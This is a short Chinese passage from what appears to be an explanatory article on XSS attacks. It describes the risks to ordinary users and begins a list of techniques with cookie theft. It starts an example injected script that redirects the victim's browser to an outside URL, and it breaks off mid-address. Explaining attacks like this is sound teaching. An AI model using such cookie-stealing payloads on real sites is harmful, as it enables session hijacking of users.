由于XSS的隐蔽性及其攻击面的广泛性，使得利用XSS漏洞的各种攻击方式层出不穷，给我们普通的互联网用户带来了很大的危害。根据注入脚本代码的不同，XSS可以引导各种各样的攻击。下面将具体介绍几种目前互联网上常见的XSS攻击手段及其带来的危害。 1.窃取Cookie          通过XSS攻击，由于注入代码是在受害者的浏览器上执行，因此能够很方便地窃取到受害者的Cookie信息。比如，我们只要注入类似如下的代码：          <script>location.replace(“http://ww…